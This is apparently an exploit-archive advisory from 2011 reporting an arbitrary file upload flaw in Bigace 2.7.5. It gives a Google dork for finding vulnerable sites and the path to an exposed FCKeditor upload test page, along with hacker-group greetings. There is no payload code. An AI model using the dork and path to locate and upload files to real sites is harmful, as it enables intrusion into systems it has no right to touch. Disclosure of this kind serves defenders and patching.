Bigace 2.7.5 Arbitrary File Upload

2011-03-31 / 2011-04-01

Credit: Net.Edit0r

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

==========================================
Bigace 2.7.5 Remote Upload file Vulnerability
==========================================
 
[~]######################################### InformatioN
#############################################[~]
 
[~] Title     : Bigace 2.7.5 Remote Upload file Vulnerability
[~] Author    : Net.Edit0r
[~] Vendor or Software Link  : http://www.bigace.de/bigace-2.7.5.html
[~] Email     : Black.hat.tm@gmail.com
[~] Data  : 2011-03-29
[~] Google dork: "Powered by Bigace 2.7.5"
[~] Category:  [Webapps]
[~] Tested on: [Linux /php]
 
[~]#########################################   ExploiT
#############################################[~]
 
[~] ExploiT         :
 
/addon/FCKeditor/editor/filemanager/connectors/uploadtest.html
 
[~] Example         :
 
http://127.0.0.1//addon/FCKeditor/editor/filemanager/connectors/uploadtest.html
 
[~]######################################### ThankS To ...
############################################[~]
 
[~] Black Hat Group Member  :
 
Net.Edit0r & DarkCoder & fronk & Amir-MaGic & H3x & Milad.C0nn3ct0r #BHG
 
[~] IRANIAN Young HackerZ # Persian Gulf
 
[~]#########################################   FinisH :D
#############################################[~]################[~]

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Bigace 2.7.5 Arbitrary File Upload

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.